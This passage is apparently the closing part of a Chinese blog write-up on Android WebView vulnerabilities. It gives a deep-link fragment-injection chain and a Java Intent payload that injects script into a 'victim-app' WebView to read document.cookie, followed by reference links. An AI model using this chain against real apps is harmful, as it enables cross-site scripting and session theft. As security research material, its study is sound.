webView.loadDataWithBaseURL("https://google.com/","<script>document.write(document.domain)</script>",null, null, null);
(1)victim-app://c/contact/2?fragmen_class=<fragment>可启动任意fragment,并可 通过Intent Extra传参(2)寻找到⼀个带WebView的Fragment:GoogleMapWebViewFragment(3)可污染loadDataWithBaseURL的前两个参数,构造victim.com域下的XSSwebview.loadDataWithBaseURL("victim.com","google-map.html", "text/html", ...);
Intent payload = new Intent(Intent.ACTION_VIEW);payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));Bundle extra = new Bundle();extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");extra.putString("map_file_name", "google_map.html");extra.putString("map_domain", "https://www.victim-app.com");payload.putExtra("bundle", extra);startActivity(payload);
五
实验总结
六
参考文献
https://ljd1996.github.io/2020/12/01/Android-WebView%E7%AC%94%E8%AE%B0/
https://blog.csdn.net/carson_ho/article/details/64904691
https://juejin.cn/post/6844903564737789965#heading-9
https://www.cnblogs.com/linhaostudy/p/14617314.html
https://mabin004.github.io/2018/06/11/Android-JsBridge/
为了防止失联,欢迎关注我防备的小号
微信改了推送机制,真爱请星标本公号👇



